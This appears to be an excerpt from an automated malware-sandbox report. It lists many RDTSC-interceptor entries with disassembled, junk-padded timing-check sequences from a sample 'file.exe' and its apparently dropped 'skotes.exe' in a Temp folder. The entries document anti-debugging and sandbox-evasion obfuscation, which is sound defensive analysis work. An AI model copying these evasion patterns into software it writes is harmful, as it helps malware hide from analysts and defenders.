Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A50A6C second address: 4A50AE9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushfd 0x00000007 jmp 00007FFB70DAD981h 0x0000000c jmp 00007FFB70DAD97Bh 0x00000011 popfd 0x00000012 popad 0x00000013 jne 00007FFBE327329Bh 0x00000019 jmp 00007FFB70DAD986h 0x0000001e mov edx, dword ptr [ebp+0Ch] 0x00000021 push eax 0x00000022 push edx 0x00000023 pushad 0x00000024 pushad 0x00000025 popad 0x00000026 pushfd 0x00000027 jmp 00007FFB70DAD983h 0x0000002c and cx, 7D3Eh 0x00000031 jmp 00007FFB70DAD989h 0x00000036 popfd 0x00000037 popad 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A50AE9 second address: 4A50AEF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A50AEF second address: 4A50AF3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A50AF3 second address: 4A50B42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 jmp 00007FFB70EEC034h 0x0000000e mov dword ptr [esp], ebx 0x00000011 jmp 00007FFB70EEC030h 0x00000016 xchg eax, ebx 0x00000017 pushad 0x00000018 jmp 00007FFB70EEC02Dh 0x0000001d popad 0x0000001e push eax 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007FFB70EEC02Ch 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A50B42 second address: 4A50B54 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edx, 0E8D02A4h 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A50B54 second address: 4A50B6F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFB70EEC037h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A60A30 second address: 4A60A53 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFB70DAD97Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b mov di, ax 0x0000000e push ecx 0x0000000f pushad 0x00000010 popad 0x00000011 pop edi 0x00000012 popad 0x00000013 mov ebp, esp 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A60A53 second address: 4A60A57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A60A57 second address: 4A60A5D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AD0AB8 second address: 4AD0AF3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFB70EEC031h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b mov cx, di 0x0000000e call 00007FFB70EEC033h 0x00000013 movzx ecx, di 0x00000016 pop edx 0x00000017 popad 0x00000018 xchg eax, ebp 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c pushad 0x0000001d popad 0x0000001e mov dh, 4Eh 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AC0ED5 second address: 4AC0F04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007FFB70DAD981h 0x0000000a sbb eax, 67CBDD36h 0x00000010 jmp 00007FFB70DAD981h 0x00000015 popfd 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AC0F04 second address: 4AC0F29 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFB70EEC031h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FFB70EEC02Dh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AC0F29 second address: 4AC0F39 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FFB70DAD97Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AC0F39 second address: 4AC0F3D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AC0F3D second address: 4AC0F91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007FFB70DAD97Eh 0x0000000e xchg eax, ebp 0x0000000f jmp 00007FFB70DAD980h 0x00000014 mov ebp, esp 0x00000016 jmp 00007FFB70DAD980h 0x0000001b pop ebp 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007FFB70DAD987h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AC0D6E second address: 4AC0D72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AC0D72 second address: 4AC0D8C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFB70DAD986h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AC0D8C second address: 4AC0DA3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cx, di 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FFB70EEC02Bh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AC0DA3 second address: 4AC0DA9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AC0DA9 second address: 4AC0DAD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A7005B second address: 4A700A5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFB70DAD981h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b pushad 0x0000000c movzx ecx, bx 0x0000000f pushad 0x00000010 movsx edx, si 0x00000013 pushfd 0x00000014 jmp 00007FFB70DAD980h 0x00000019 sub cl, 00000058h 0x0000001c jmp 00007FFB70DAD97Bh 0x00000021 popfd 0x00000022 popad 0x00000023 popad 0x00000024 pop ebp 0x00000025 pushad 0x00000026 push eax 0x00000027 push edx 0x00000028 mov ecx, 1520F421h 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AD0178 second address: 4AD017F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop edi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AD017F second address: 4AD0185 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AD0185 second address: 4AD01F9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFB70EEC035h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c pushad 0x0000000d call 00007FFB70EEC02Ch 0x00000012 mov esi, 7B056C41h 0x00000017 pop esi 0x00000018 pushfd 0x00000019 jmp 00007FFB70EEC037h 0x0000001e and al, 0000006Eh 0x00000021 jmp 00007FFB70EEC039h 0x00000026 popfd 0x00000027 popad 0x00000028 push eax 0x00000029 push eax 0x0000002a push edx 0x0000002b jmp 00007FFB70EEC02Ch 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AD01F9 second address: 4AD02A6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFB70DAD97Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b mov edx, eax 0x0000000d pushfd 0x0000000e jmp 00007FFB70DAD980h 0x00000013 add cx, AE48h 0x00000018 jmp 00007FFB70DAD97Bh 0x0000001d popfd 0x0000001e popad 0x0000001f mov ebp, esp 0x00000021 jmp 00007FFB70DAD986h 0x00000026 push dword ptr [ebp+0Ch] 0x00000029 pushad 0x0000002a push esi 0x0000002b pop eax 0x0000002c mov ebx, 2B3254ECh 0x00000031 popad 0x00000032 push dword ptr [ebp+08h] 0x00000035 jmp 00007FFB70DAD97Bh 0x0000003a call 00007FFB70DAD979h 0x0000003f jmp 00007FFB70DAD986h 0x00000044 push eax 0x00000045 jmp 00007FFB70DAD97Bh 0x0000004a mov eax, dword ptr [esp+04h] 0x0000004e push eax 0x0000004f push edx 0x00000050 jmp 00007FFB70DAD984h 0x00000055 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A802A1 second address: 4A802FE instructions: 0x00000000 rdtsc 0x00000002 mov bx, ax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushfd 0x00000008 jmp 00007FFB70EEC030h 0x0000000d sbb al, 00000058h 0x00000010 jmp 00007FFB70EEC02Bh 0x00000015 popfd 0x00000016 popad 0x00000017 mov dword ptr [esp], ebp 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d pushfd 0x0000001e jmp 00007FFB70EEC02Bh 0x00000023 xor ecx, 25DD471Eh 0x00000029 jmp 00007FFB70EEC039h 0x0000002e popfd 0x0000002f push esi 0x00000030 pop ebx 0x00000031 popad 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A802FE second address: 4A80304 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A80304 second address: 4A80316 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d mov edi, 787D68E2h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A80316 second address: 4A80439 instructions: 0x00000000 rdtsc 0x00000002 call 00007FFB70DAD983h 0x00000007 pop esi 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushfd 0x0000000b jmp 00007FFB70DAD989h 0x00000010 sbb al, 00000066h 0x00000013 jmp 00007FFB70DAD981h 0x00000018 popfd 0x00000019 popad 0x0000001a push FFFFFFFEh 0x0000001c jmp 00007FFB70DAD97Eh 0x00000021 push 3E62716Dh 0x00000026 jmp 00007FFB70DAD981h 0x0000002b add dword ptr [esp], 38964EABh 0x00000032 jmp 00007FFB70DAD97Eh 0x00000037 call 00007FFB70DAD979h 0x0000003c pushad 0x0000003d mov ebx, eax 0x0000003f popad 0x00000040 push eax 0x00000041 jmp 00007FFB70DAD97Fh 0x00000046 mov eax, dword ptr [esp+04h] 0x0000004a jmp 00007FFB70DAD989h 0x0000004f mov eax, dword ptr [eax] 0x00000051 pushad 0x00000052 mov bx, 3DC2h 0x00000056 jmp 00007FFB70DAD983h 0x0000005b popad 0x0000005c mov dword ptr [esp+04h], eax 0x00000060 jmp 00007FFB70DAD989h 0x00000065 pop eax 0x00000066 jmp 00007FFB70DAD97Eh 0x0000006b mov eax, dword ptr fs:[00000000h] 0x00000071 push eax 0x00000072 push edx 0x00000073 jmp 00007FFB70DAD987h 0x00000078 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A80439 second address: 4A80498 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFB70EEC039h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a pushad 0x0000000b call 00007FFB70EEC02Ch 0x00000010 mov si, BD51h 0x00000014 pop esi 0x00000015 jmp 00007FFB70EEC037h 0x0000001a popad 0x0000001b push eax 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007FFB70EEC034h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A80498 second address: 4A804E3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FFB70DAD981h 0x00000009 add ax, CC76h 0x0000000e jmp 00007FFB70DAD981h 0x00000013 popfd 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 nop 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007FFB70DAD989h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A804E3 second address: 4A8051E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov si, di 0x00000006 jmp 00007FFB70EEC033h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e sub esp, 1Ch 0x00000011 pushad 0x00000012 jmp 00007FFB70EEC034h 0x00000017 push eax 0x00000018 push edx 0x00000019 mov ecx, 52859417h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A8051E second address: 4A80569 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FFB70DAD97Ch 0x00000008 adc ax, C588h 0x0000000d jmp 00007FFB70DAD97Bh 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 popad 0x00000016 xchg eax, ebx 0x00000017 jmp 00007FFB70DAD986h 0x0000001c push eax 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007FFB70DAD97Eh 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A80569 second address: 4A80591 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cx, bx 0x00000006 movsx edx, ax 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c xchg eax, ebx 0x0000000d jmp 00007FFB70EEC034h 0x00000012 xchg eax, esi 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A80591 second address: 4A80595 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A80595 second address: 4A80599 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A80599 second address: 4A8059F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A8059F second address: 4A805CE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFB70EEC034h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b movsx ebx, si 0x0000000e jmp 00007FFB70EEC02Ah 0x00000013 popad 0x00000014 xchg eax, esi 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A805CE second address: 4A805D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A805D2 second address: 4A805D8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A805D8 second address: 4A805DE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A805DE second address: 4A805E2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A805E2 second address: 4A80660 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, edi 0x00000009 jmp 00007FFB70DAD97Ah 0x0000000e push eax 0x0000000f jmp 00007FFB70DAD97Bh 0x00000014 xchg eax, edi 0x00000015 pushad 0x00000016 pushfd 0x00000017 jmp 00007FFB70DAD980h 0x0000001c sub esi, 4A1663C8h 0x00000022 jmp 00007FFB70DAD97Bh 0x00000027 popfd 0x00000028 popad 0x00000029 mov eax, dword ptr [76FAB370h] 0x0000002e push eax 0x0000002f push edx 0x00000030 pushad 0x00000031 pushfd 0x00000032 jmp 00007FFB70DAD97Bh 0x00000037 adc ecx, 26A1CA0Eh 0x0000003d jmp 00007FFB70DAD989h 0x00000042 popfd 0x00000043 mov cx, 8317h 0x00000047 popad 0x00000048 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A80660 second address: 4A806C8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FFB70EEC033h 0x00000009 add ecx, 2F4A881Eh 0x0000000f jmp 00007FFB70EEC039h 0x00000014 popfd 0x00000015 pushfd 0x00000016 jmp 00007FFB70EEC030h 0x0000001b xor si, 6E18h 0x00000020 jmp 00007FFB70EEC02Bh 0x00000025 popfd 0x00000026 popad 0x00000027 pop edx 0x00000028 pop eax 0x00000029 xor dword ptr [ebp-08h], eax 0x0000002c push eax 0x0000002d push edx 0x0000002e pushad 0x0000002f mov cx, di 0x00000032 push edi 0x00000033 pop ecx 0x00000034 popad 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A806C8 second address: 4A8070D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFB70DAD988h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xor eax, ebp 0x0000000b jmp 00007FFB70DAD981h 0x00000010 nop 0x00000011 jmp 00007FFB70DAD97Eh 0x00000016 push eax 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A8070D second address: 4A80711 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A80711 second address: 4A80717 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A80717 second address: 4A80733 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFB70EEC02Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov si, bx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A80733 second address: 4A80738 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A80738 second address: 4A8073E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A8073E second address: 4A80742 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A80742 second address: 4A80746 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A80746 second address: 4A80782 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 lea eax, dword ptr [ebp-10h] 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e jmp 00007FFB70DAD97Dh 0x00000013 pushfd 0x00000014 jmp 00007FFB70DAD980h 0x00000019 add al, FFFFFFF8h 0x0000001c jmp 00007FFB70DAD97Bh 0x00000021 popfd 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A70DFB second address: 4A70E01 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A70E01 second address: 4A70E88 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 pushad 0x0000000a movzx ecx, bx 0x0000000d pushfd 0x0000000e jmp 00007FFB70DAD97Fh 0x00000013 and ecx, 4EF39B1Eh 0x00000019 jmp 00007FFB70DAD989h 0x0000001e popfd 0x0000001f popad 0x00000020 mov dword ptr [esp], ebp 0x00000023 pushad 0x00000024 call 00007FFB70DAD97Ch 0x00000029 pushfd 0x0000002a jmp 00007FFB70DAD982h 0x0000002f and esi, 31354848h 0x00000035 jmp 00007FFB70DAD97Bh 0x0000003a popfd 0x0000003b pop ecx 0x0000003c push ebx 0x0000003d push ecx 0x0000003e pop ebx 0x0000003f pop ecx 0x00000040 popad 0x00000041 mov ebp, esp 0x00000043 push eax 0x00000044 push edx 0x00000045 jmp 00007FFB70DAD97Ah 0x0000004a rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: 1DEB7D second address: 1DEB82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: 366350 second address: 366354 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: 366354 second address: 366358 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: 36659A second address: 36659E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: 366832 second address: 366836 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: 3697BE second address: 369804 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push esi 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 pop esi 0x00000009 popad 0x0000000a push eax 0x0000000b jnp 00007FFB70DAD980h 0x00000011 mov eax, dword ptr [esp+04h] 0x00000015 pushad 0x00000016 jmp 00007FFB70DAD986h 0x0000001b jnp 00007FFB70DAD978h 0x00000021 popad 0x00000022 mov eax, dword ptr [eax] 0x00000024 pushad 0x00000025 push eax 0x00000026 push edx 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: 369804 second address: 369808 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: 36997F second address: 369A39 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jmp 00007FFB70DAD981h 0x0000000d nop 0x0000000e pushad 0x0000000f mov ebx, 6948B8CCh 0x00000014 and ebx, dword ptr [ebp+122D38CEh] 0x0000001a popad 0x0000001b push 00000000h 0x0000001d or esi, dword ptr [ebp+122D1ED8h] 0x00000023 push B9C72881h 0x00000028 pushad 0x00000029 pushad 0x0000002a push ebx 0x0000002b pop ebx 0x0000002c jmp 00007FFB70DAD97Fh 0x00000031 popad 0x00000032 jmp 00007FFB70DAD97Ah 0x00000037 popad 0x00000038 add dword ptr [esp], 4638D7FFh 0x0000003f push 00000000h 0x00000041 push ebx 0x00000042 call 00007FFB70DAD978h 0x00000047 pop ebx 0x00000048 mov dword ptr [esp+04h], ebx 0x0000004c add dword ptr [esp+04h], 00000019h 0x00000054 inc ebx 0x00000055 push ebx 0x00000056 ret 0x00000057 pop ebx 0x00000058 ret 0x00000059 mov dx, cx 0x0000005c push 00000003h 0x0000005e call 00007FFB70DAD989h 0x00000063 clc 0x00000064 pop edx 0x00000065 push 00000000h 0x00000067 xor ecx, 608E84B4h 0x0000006d push 00000003h 0x0000006f mov edi, eax 0x00000071 call 00007FFB70DAD979h 0x00000076 push eax 0x00000077 push edx 0x00000078 jg 00007FFB70DAD978h 0x0000007e rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: 369A39 second address: 369A5D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFB70EEC02Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d jmp 00007FFB70EEC02Dh 0x00000012 pop eax 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: 369A5D second address: 369A8A instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 je 00007FFB70DAD976h 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 jmp 00007FFB70DAD986h 0x00000015 mov eax, dword ptr [eax] 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: 369A8A second address: 369A8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: 369A8E second address: 369AD8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFB70DAD980h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007FFB70DAD97Ah 0x0000000e popad 0x0000000f mov dword ptr [esp+04h], eax 0x00000013 jno 00007FFB70DAD97Ah 0x00000019 pop eax 0x0000001a mov edi, dword ptr [ebp+122D39A2h] 0x00000020 lea ebx, dword ptr [ebp+1245E6C2h] 0x00000026 mov dword ptr [ebp+122D2A30h], edi 0x0000002c push eax 0x0000002d jng 00007FFB70DAD97Eh 0x00000033 push eax 0x00000034 push eax 0x00000035 push edx 0x00000036 rdtsc
